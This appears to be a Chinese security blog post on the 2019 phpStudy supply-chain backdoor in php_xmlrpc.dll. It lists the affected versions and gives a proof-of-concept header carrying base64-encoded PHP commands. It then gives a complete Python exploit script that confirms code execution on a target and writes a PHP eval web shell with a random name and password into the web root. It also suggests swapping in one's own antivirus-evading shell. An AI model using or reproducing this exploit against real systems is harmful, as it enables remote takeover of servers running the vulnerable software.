phpstudy后门POC分析和EXP开发
2024-10-19 23:29:59
POC
2019年9月20日,网上传出 phpStudy 软件存在后门,随后作者立即发布声明进行澄清,其真实情况是该软件官网于2016年被非法入侵,程序包自带PHP的php_xmlrpc.dll模块被植入隐藏后门,可以正向执行任意php代码。
影响版本:
- phpStudy2016-php-5.2.17
- phpStudy2016-php-5.4.45
- phpStudy2018-php-5.2.17
- phpStudy2018-php-5.4.45
后门存在于*\ext\php_xmlrpc.dll
,用记事本打开搜索eval
,如下图所示则又可能存在后门
抓包,添加Accept-charset
,后面对rce进行base64加密
Accept-charset: c3lzdGVtKCJ3aG9hbWkiKTs=
注意修改
Accept-Encoding: gzip,deflate
,deflate前的空格需要删除
EXP
很自然的就能写出相应exp(github)
import base64
import random
import requests
import string
head={
'Accept-Encoding':'gzip,deflate',
'Accept-Charset':'c3lzdGVtKCJlY2hvIGhhaGExMjMiKTs=' # echo haha123
}
def get_standard_url(url):
if url[:7] != "http://" or url[:8] != "https://":
url = "http://"+url
return url
else:
return False
def exp():
head["Accept-Charset"] = "c3lzdGVtKCJjaGRpciIpOw==" # system("chdir")
res1 = requests.get(url=url,headers=head,timeout=5,allow_redirects=False)
path = str(res1.text.split("\n",1)[0]).strip()
shell_name = ''.join(random.sample(string.ascii_letters+string.digits,8))
key = ''.join(random.sample(string.ascii_letters+string.digits,4))
exp = f"fputs(fopen('{path}\PHPTutorial\WWW\{shell_name}.php','w'),'<?php @eval($_POST[{key}]); ?>');"
exp_encode = str(base64.b64encode(exp.encode('utf-8'))).split("'",2)[1]
head['Accept-Charset'] = exp_encode
requests.get(url=url, headers=head, timeout=5, allow_redirects=False)
return f"[!] Shell_name={shell_name}.php, Key={key}"
if __name__=="__main__":
url = input("[+] Target: ")
url = get_standard_url(url)
try:
res = requests.get(url=url, headers=head, timeout=5, allow_redirects=False)
if res.status_code == 200 and res.text[:7] == "haha123":
print("[*] POC EXISTS.")
print(exp())
else:
print("[-] POC NOT EXISTS.")
except:
print("[!] ERROR!\n")
注意,这里没有对shell做免杀,可把自己收藏的shell做外部导入替换
最新文章
- java集合-ArrayList
- Material UI – Material Design CSS 框架
- IDA在内存中dump出android的Dex文件
- ZOJ 3811 Untrusted Patrol
- Xcode UIView 中的Button 控件的属性和基本用法
- Gocd持续部署利器
- android开发学习---layout布局、显示单位和如何进行单元测试
- 重构第15天 移除重复的代码(Remove Duplication)
- [工具][windows][visualStudio][充电]番茄助手vaassist常见用法
- mysql中模糊查询的四种用法介绍
- PHP浮点型
- python之os模块
- Lua查找字符串注意
- 计算机网络协议包头赏析-UDP
- Android学习路线(二十四)ActionBar Fragment运用最佳实践
- VisualStudio2012轻松把JSON数据转换到POCO的代码
- 导航栏转场动画CATransition
- [翻译] .NET Core 2.1 Preview 1 发布
- Explain
- Jmeter-基于Ubuntu运行
热门文章
- lldb调试C++总结(3)
- 【LeetCode】1029. Two City Scheduling 解题报告(Python)
- 【九度OJ】题目1172:哈夫曼树 解题报告
- visual studio code的python编程中遇到的SyntaxError:invalid syntax问题的原因和解决办法
- <;数据结构>;XDOJ327.最短路径
- AVD Pixel_2_API_30 is already running. lf that is not the case, delete the files at
- ProtoBuf3语法指南(Protocol Buffers)_下
- cpu负载
- DGHV同态库
- Go语言系列之标准库flag